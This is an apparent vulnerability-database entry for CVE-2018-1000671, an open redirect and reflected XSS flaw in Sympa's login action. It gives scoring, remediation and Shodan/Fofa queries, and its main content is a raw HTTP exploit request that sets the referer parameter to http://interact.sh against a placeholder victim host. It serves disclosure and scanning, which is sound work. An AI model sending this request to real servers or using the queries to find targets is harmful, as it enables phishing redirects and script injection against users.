| Title | Sympa version =>6.2.16 - Cross-Site Scripting |
|---|---|
| Author | 0x_Akoko |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information. |
| Remediation | Upgrade to a patched version of Sympa (>=6.2.17) or apply the necessary security patches provided by the vendor. |
| CVSS Score | 6.1 |
| EPSS Score | 0.00883 |
| CVE ID | CVE-2018-1000671 |
| CWE ID | CWE-601 |
| Shodan Query | http.html:"sympa" |
| Fofa Query | body="sympa" |
| Tags | cve cve2018 redirect sympa debian vuln |
Sympa version 6.2.16 and later contains a URL Redirection to Untrusted Site vulnerability in the referer parameter of the wwsympa fcgi login action that can result in open redirection and reflected cross-site scripting via data URIs.
GET /sympa?referer=http://interact.sh&passwd&previous_action&action=login&action_login&previous_list&list&email HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; WebView/3.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/18.17763
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-1000671.yaml
🦈 Packet Capture: ⬇️ Download cve-2018-1000671.pcap
N/AN/A